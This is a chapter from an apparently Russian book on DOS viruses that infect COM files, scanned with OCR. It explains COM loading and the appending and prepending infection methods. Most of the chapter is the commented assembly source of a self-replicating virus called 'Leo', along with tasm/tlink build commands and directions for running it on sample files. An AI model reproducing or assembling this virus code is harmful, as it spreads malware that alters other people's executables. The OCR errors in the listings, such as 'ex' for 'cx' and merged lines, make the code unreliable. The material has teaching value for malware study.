СОМ-вирусы

ВИРУСЫ
В этой главе рассказано об ал-горитмах работы вирусов,заражающих СОМ-файлы,и способах их внедрения. Пред-ставлен исходный текст од-ного из таких вирусов с под-робными комментариями.Также приведены основные све-дения о структуре и принци-пах работы СОМ-программы.
10 СОМ-вирусы
Компьютерные вирусы могут гнездиться» в самых неожиданных мес-тах, например, в записи начальной загрузки MBR (master boot record),в исполняемых файлах типа СОМ и ЕХЕ, в файлах динамических биб-лиотек DLL и даже в документах текстового процессора Microsoft Wordfor Windows. В этом разделе подробно рассматривается строение виру-са, поражающего СОМ-файлы.
Структура и процесс загрузки СОМ-программы
Что же представляет собой СОМ-программа, как она загружаетсяв память и запускается?
Структура СОМ-программы предельно проста — она содержит толькокод и данные программы, не имея даже заголовка. Размер СОМ-про-граммы ограничен размером одного сегмента (64Кбайт).
И еще два понятия, которые часто будут встречаться
Program Segment Prefix (PSP) — область памяти размером 256 (OlOOh)байт, предшествующая программе при ее загрузке. PSP содержит дан-ные командной строки и относящиеся к программе переменные.
Disk Transfer Address (DTA) — блок данных, содержащий адреса обменаданными с файлом (чтение или запись). Область DTA для работыс файлом используют многие функции, в том числе и не производящиечтение или запись в файл. Примером может служить функция 4Eh(найти первый файл по шаблону), которая будет неоднократно встре-чаться в листингах программ.
Загрузка СОМ-программы в память и ее запуск происходят так
1. Определяется сегментный адрес свободного участка памяти доста-точного для размещения программы размера.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ — PSP;
сегментЮЮОЬ — программа). В поля PSP заносятся соответствую-щие значения.
4. Устанавливается адрес DTA равным PSP 0080h.
5. Загружается СОМ-файл с адреса PSP 0100h.

6. Значение регистра АХ устанавливается в соответствии с парамет-рами командной строки.
7. Регистры DS, ES и SS устанавливаются на сегмент PSP и програм-мы (PSP.-OOOOh).
8. Регистр SP устанавливается на конец сегмента, после чего в стек за-писывается OOOOh.
9. Происходит запуск программы с адреса PSP 0100h.
СОМ-программа всегда состоит из одного сегмента и запускается сосмещения OlOOh.
Простейший СОМ-вирус
В начале СОМ-файла обычно находится команда безусловного переходаJMP, состоящая из трех байт. Первый байт содержит код команды OE9h,следующие два — адрес перехода. Поскольку рассматриваемый ниже ви-рус учебный, он будет заражать только СОМ-файлы, начинающиесяс команды JMP. Благодаря простому строению СОМ-файла в него оченьпросто добавить тело вируса и затем указать его адрес в команде JMP.На рис. 1.1. показано заражение файла таким способом.
После загрузки зараженного файла управление получает вирус. Закон-чив работу, вирус восстанавливает оригинальный JMP и передает уп-равление программе, как показано на рис. 1.2.
Что же делает рассматриваемый вирус? После старта он ищет в теку-щем каталоге СОМ-программы. Для этого используется функция 4Eh(найти первый файл)

Тело вируса записывается в конец файла,туда же переносится оригинальный JMP,на место которого записывается инструкцияJMP на тело вируса.
Рис. 1.1.

;Ищем первый файл по шаблону имениmov ah,4Eh
mov dx,offset fname — offset myselfadd dx.bpmov cx,00100111bint 21h
Затем вирус проверяет (по первому байту файла), подходят ли ему най-денные СОМ-программы
[Открываем файлOpen
mov ax,3D02h
mov dx,9Eh
int 21h
;Если при открытии файла ошибок не произошло,;переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
; Читаем первый байт файлаSee_Him
xchg bx,ax
mov ah,3Fh
mov dx,offset buf-offset myself
add dx.bp
xor ex,ex ;CX=0

inc ex [(увеличение на 1) СХ=1int 21h
Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего
.файла — этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
Перед заражением файла вирус проверяет сигнатуру — не исключено,что файл уже заражен
Переходим в конец файла (на последний байт)mov ax,4200hxor ex,ex
mov dx,[bp+(offset flen-offset MySelf)]dec dxint 21h
;Читаем сигнатуру вирусаRead
mov ah,3Fh
xor ex,ex
inc ex
mov dx.offset bytik-offset myself
add dx.bp
int 21h
.Если при чтении файла ошибок не произошло,
[Проверяем сигнатуру,
;иначе ищем следующий файл
jnc test_bytik
jmp find_next
[Проверяем сигнатуруTest_bytik
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если сигнатура есть, то ищем другой файл,.если ее нет — будем заражать
je find_next2
jmp NotJnfected

Затем, в соответствии с предложенной схемой, вирус дописываетсяв конец файла-жертвы и устанавливает адрес перехода на самого себя
[Переходим в конец файлаmov ax,4202hxor ex,exxor dx.dxint 21h
Останавливаем регистр DS на сегмент кодаpush cspop ds
[Копируем вирус в файлmov ah,40h
mov cx.offset VirEnd-offset lamov dx,bp
sub dx,offset myself-offset laint 21h
[Записываем в начало файла переход на тело вирусаWrite_Jmp
.Переходим в начало файлаxor сх.схxor dx,dxmov ax,4200hint 21h
[Записываем первые три байта файла (переход на тело вируса)mov ah,40hmov сх,3
mov dx, offset jmpvir-offset myselfadd dx.bpint 21h
После того, как вирус закончит свою работу, он восстанавливаетв исходное состояние первые три байта программы (в памяти компью-тера) и передает управление на начало программы. Далее, призапуске зараженного файла, управление сначала получает вирус, затем -исходная программа. Благодаря такой схеме работы рассматриваемый

вирус может спокойно существовать, будучи один раз выпущеннымна волю.
Как запустить вирус? В любом текстовом редакторе создается файлLEO.ASM, содержащий исходный текст вируса, затем этот файл компи-лируется и компонуется готовая программа. Например, в системе про-граммирования Turbo Assembler последние два этапа выполняются та-кими командами
tasm.exe leo.asmtlink leo.obj/t
В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус.Для проверки работы вируса можно создать отдельный каталог и ско-пировать в него этот файл, а также несколько других СОМ-файлов.После запуска LEO.COM вирус внедрится во все остальные СОМ-фай-лы. Не стоит бояться, что будет заражен сразу весь компьютер — вирусраспространяется только в текущем каталоге. Ниже приводится исход-ный текст вируса
.286 .Устанавливаем тип процессораCheckByte equ OFOh
[Указываем, что регистры CS и DS содержат;адрес сегмента кода программыassume cs code, ds code
;Начало сегмента кода. В конце программы сегмент кода нужно;закрыть — «code ends»code segment
Останавливаем смещения в сегменте кода.
Данная строчка обязательна
;для СОМ-программы (все СОМ-программы
начинаются с адреса 100h)
org 100h
start
;Имитируем зараженный СОМ-файл.;Тело вируса начинается с метки la; jmp la

db OE9h ;Код команды JMP
dw offset la-offset realreal
[Выходим из программыmov ah,4Chint 21 h
;3десь начинается тело вирусаla
;Сохраняем регистры и флагиpushfpushapush ds es
.Получаем точку входа.
;Для этого вызываем подпрограмму (следующий
;за вызовом адрес) и читаем из стека адрес возврата
call MySelfMySelf
pop bp
восстанавливаем первые три байта исходной программыmov al,[bp+(offset bytes_3[0]-offset MySelf)]mov byte ptr cs [100h],almov al,[bp+(offset bytes_3[1]-offset MySelf)]mov byte ptr cs [101h],almov al,[bp+(offset bytes_3[2]-offset MySelf)]mov byte ptr cs [102h],al
[Дальнейшая задача вируса — найти новую жертву.
;Для этого используется функция 4Eh (Найти первый файл).
;Ищем файл с любыми атрибутами
Find_First
.Ищем первый файл по шаблону имениmov ah,4Eh
mov dx.offset fname-offset myselfadd dx.bp

mov cx,00100111bint 21 h
;Если файл найден — переходим к смене атрибутов, иначе выходим;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exitattributes
.Читаем оригинальные атрибуты файлаmov ax,4300h
mov dx,9Eh .Адрес имени файлаint 21 h
.Сохраняем оригинальные атрибуты файлаpush ex
•.Устанавливаем новые атрибуты файлаmov ax,4301h
mov dx,9Eh .Адрес имени файлаmov cx,20hint 21 h
Переходим к открытию файлаjmp Open
;Ищем следующий файл, так как предыдущий не подходитFincLNext
;Восстанавливаем оригинальные атрибуты файлаmov ax,4301h
mov dx,9Eh ;Адрес имени файлаpop схint 21 h
[Закрываем файлmov ah,3Ehint 21 h
;Ищем следующий файлmov ah,4Fhint 21 h

;Если файл найден — переходим к смене атрибутов, иначе выходим;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
.-Открываем файлOpen
mov ax,3D02h
mov dx,9Eh
int 21 h
;Если при открытии файла ошибок не произошло -.переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;Читаем первый байт файлаSee_Him
xchg bx.ax
mov ah,3Fh
mov dx.offset buf-offset myself
add dx,bp
xor ex,ex ;CX=0
inc ex [(увеличение на 1) СХ=1
int 21 h
.Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего файла —
;этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
; Переходим в начало файлаmov ax,4200hxor ex,exxor dx.dxint 21 h
[Читаем первые три байта файла в тело вирусаSee_Him2
mov ah,3Fh

mov dx,offset bytes_3-offset myself
add dx.bp
mov cx,3
int 21 h
.Получаем длину файла, для чего переходим в конец файлаTestik
mov ax,4202h
xor ex,ex
xor dx.dx
int 21hSize_test
;Сохраняем полученную длину файла
mov [bp+(offset flen-offset MySelf)],ax
[Проверяем длину файлаcmp ax.64000
;Если файл не больше 64000 байт,- переходим
;к следующей проверке,
;иначе ищем другой файл (этот слишком велик для заражения)
jna richJest
jmp find_next
Проверим, не заражен ли файл.;Для этого проверим сигнатуру вирусаRichJest
[Переходим в конец файла (на последний байт)mov ax,4200hxor сх.сх
mov dx,[bp+(offset flen-offset MySelf)]dec dxint 21h
;Читаем сигнатуру вирусаRead
mov ah,3Fh
xor ex,ex
inc ex
mov dx,offset bytik-offset myself

add dx.bpint 21 h
;Если при чтении файла ошибок
;не произошло — проверяем сигнатуру,
.иначе ищем следующий файл
jnc test_bytik
jmp tind_next
;Проверяем сигнатуруTest_bytik
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если сигнатура есть, то ищем другой файл,.если нет — будем заражать
jne NotJnfected
jmp find_next
.Файл не заражен — будем заражатьNotJnfected
mov ax,[bp+(offset flen-offset myself)]
sub ax,03h
mov [bp+(offset jmp_cmd-offset myself)],axl_am_copy
.Переходим в конец файлаmov ax,4202hxor ex,exxor dx.dxint 21 h
[Устанавливаем регистр DS на сегмент кодаpush cspop ds
.Копируем вирус в файлmov ah,40h
mov ex,offset VirEnd-offset lamov dx.bp
sub dx,offset myself-offset laint 21 h

Записываем в начало файла переход на тело вирусаWrite_Jmp
.Переходим в начало файлахог сх.схxor dx,dxmov ax,4200hint 21 h
[Записываем первые три байта файла (переход на тело вируса)mov ah,40hmov сх,3
mov dx.offset jmpvir-offset myselfadd dx.bpint 21h
;3акрываем файлClose
mov ah,3Eh
int 21h
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh
pop ex
int 21hexit
восстанавливаем первоначальные значения регистров и флаговpop es dsрораpopf
Передаем управление программе-носителюpush 100hretn
-.Байт для чтения сигнатурыbytik db (?)

.Зарезервировано для изменения трех байт вирусаjmpvir db OE9hjmp_cmd dw (?)
;Длина файлаflen dw (?)
;Шаблон для поиска файловfname db «*.com»,0
;0бласть для хранения команды переходаbytes_3 db 90h, 90h, 90h
;Байт памяти для чтения первого байта файла;с целью проверки (Е9п)buf db (?)
;Название вирусаvirus_name db «Leo»
;Сигнатура
a db CheckByte
VirEnd
code ends
end start
Способы внедрения СОМ-вирусов
Рассмотренный вирус дописывался в конец файла, а в начало файлавписывал переход на себя. Существуют и другие способы внедрениявирусов.
Рассмотрим два варианта внедрения СОМ-вируса в начало файла.Вариант первый. Вирус переписывает начало программы в конец файла,чтобы освободить место для себя. После этого тело вируса записывает-ся в начало файла, а небольшая его часть, обеспечивающая перенос вы-тесненного фрагмента программы, на прежнее место — в конец. При вос-становлении первоначального вида программы тело вируса будетзатерто, поэтому код вируса, восстанавливающий программу, долженнаходиться в безопасном месте, отдельно от основного тела вируса.Этот способ внедрения изображен на рис. 1.3.

Рис. 1.3.
При загрузке зараженного таким способом файла управление получитвирус (так как он находится в начале файла и будет загружен с адресаOlOOh). После окончания работы вирус передает управление коду, пере-носящему вытесненную часть программы на прежнее место. После вос-становления (в памяти, не в файле) первоначального вида программы,она запускается. Схема работы вируса изображена на рис. 1.4.
Второй вариант отличается от первого тем, что вирус, освобождая длясебя место, сдвигает все тело программы, а не переносит ее часть в ко-нец файла. Этот способ внедрения изображен на рис. 1.5.
После запуска зараженной программы, как и в предыдущем случае,управление получает вирус. Дальнейшая работа вируса отличаетсятолько тем, что часть вируса, восстанавливающая первоначальный вид

программы, переносит к адресу OlOOh все тело программы, а не тольковытесненную часть. Схема работы вируса, заражающего файл такимобразом, приведена на рис. 1.6.
Существуют разновидности вирусов, не дописывающие часть своеготела в конец файла. К примеру, вирус может внедряться в серединуфайла. В этом случае алгоритм работы вируса является смесью алгорит-мов одного из двух только что описанных вирусов и вируса, описанно-го в разделе «Простейший СОМ-вирус».

«